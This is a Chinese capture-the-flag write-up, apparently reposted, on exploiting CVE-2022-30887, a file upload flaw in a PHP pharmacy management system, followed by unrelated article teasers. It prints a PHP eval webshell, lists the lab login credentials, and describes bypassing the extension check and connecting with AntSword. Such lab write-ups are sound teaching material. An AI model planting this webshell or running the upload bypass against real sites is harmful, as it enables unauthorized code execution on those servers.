春秋云境 | 文件上传 | CVE-2022-30887

server/2024/10/18 4:21:54/

目录

靶标介绍

开启靶场

上传一句话木马

蚁剑连接

找到 flag


靶标介绍

多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。

开启靶场

根据社会工程学方法可得

邮箱:mayuri.infospace@gmail.com
密码:mayurik

登录成功

在这个页面发现了可以上传文件的地方

上传一句话木马

上传一句话木马 1.jpg,内容为:

<?php @eval($_POST[cmd]);?>

抓包,发送到 repeater,修改后缀为 php,发送请求,发现上传成功了,看来文件上传点就在这里

检查页面,搜索 1.php,发现了上传路径是“assets/myimages/1.php”

蚁剑连接

使用 base64 编码

连接成功,在根目录下找到了 flag 文件夹

找到 flag


http://www.ppmy.cn/server/98363.html

相关文章

怎样确定局域网里面是否有MAC地址冲突

目录 MAC地址冲突的现象1. 网络连接不稳定2. 数据包丢失3. 网络性能下降4. 无法访问特定设备5. 网络诊断工具的异常结果6. 网络安全问题 确定MAC地址冲突的方法如何解决MAC地址冲突总结 MAC地址冲突 是指在同一局域网&#xff08;LAN&#xff09;中&#xff0c;两个或多个设备具…

[Day 47] 區塊鏈與人工智能的聯動應用:理論、技術與實踐

區塊鏈中的數據一致性問題 引言 區塊鏈技術因其去中心化和不可篡改的特性&#xff0c;在金融、供應鏈、醫療等領域得到了廣泛應用。然而&#xff0c;隨著區塊鏈技術的廣泛應用&#xff0c;數據一致性問題成為了一個重要的挑戰。數據一致性是指在多個節點之間保持數據的一致性…

Go语言 结构体

本文主要为Go语言 结构体介绍、语法、使用注意及其示例。 目录 结构体 语法 语法示例 语法说明 声明使用 创建并赋值 使用指针 使用注意 总结 结构体 C语言里面&#xff0c;我们可以使用typedef in MyInt。 在go语言中使用结构体来模拟类&#xff0c;使用type stru…

UCOSIII的任务管理详解

前言 对于操作系统而言&#xff0c;最重要的就是任务的创建、挂起、删除和调度等&#xff0c;简单的创建任务可能大家都会&#xff0c;但是做大型项目的话&#xff0c;任务多了就可能需要对UCOSIII的任务管理做更深层次的一些理解。 一、任务状态 UCOSIII是单核系统&#xff…

猎码安卓APP开发IDE,amix STUDIO中文java,HTML5开发工具

【无爱也能发电】Xili 2024/8/2 10:41:20 猎码安卓APP开发IDE,amix java开发工具 我研发这些只有一小部分理由是为了赚钱&#xff0c;更多是想成就牛逼的技术产品。 目前的产品就够我赚钱的&#xff0c;我持续更新就好了&#xff0c;没必要继续研究。 IDE不赚钱&#xff0c;谁…

寻参算法之人工蜂群算法

人工蜂群算法&#xff08;Artificial Bee Colony, ABC&#xff09; 来历 人工蜂群算法&#xff08;Artificial Bee Colony, ABC&#xff09;由Dervis Karaboga在2005年提出。该算法受到蜜蜂觅食行为的启发&#xff0c;通过模拟蜜蜂在寻找食物过程中的探索和开发行为&#xff…

vue中scoped原理以及scoped的穿透用法

scoped原理&#xff1a; scoped&#xff1a;css样式只能用于当前vue组件。 scoped实现原理&#xff1a;通过postCss实现&#xff0c;给组件中所有的dom元素添加唯一的动态属性。给css选择器添加一个属性选择器。这样做是使样式只作用于该属性的dom元素。 scoped缺点&#xf…

Transformer代码

一、Embedding import torch from torch import nn import torch.nn.functional as F import math from torch import Tensor#将输入的词汇表索引转换成指定维度的Embedding向量 class TokenEmbedding(nn.Embedding):def __init__(self,vocab_size,d_model):super(TokenEmbedd…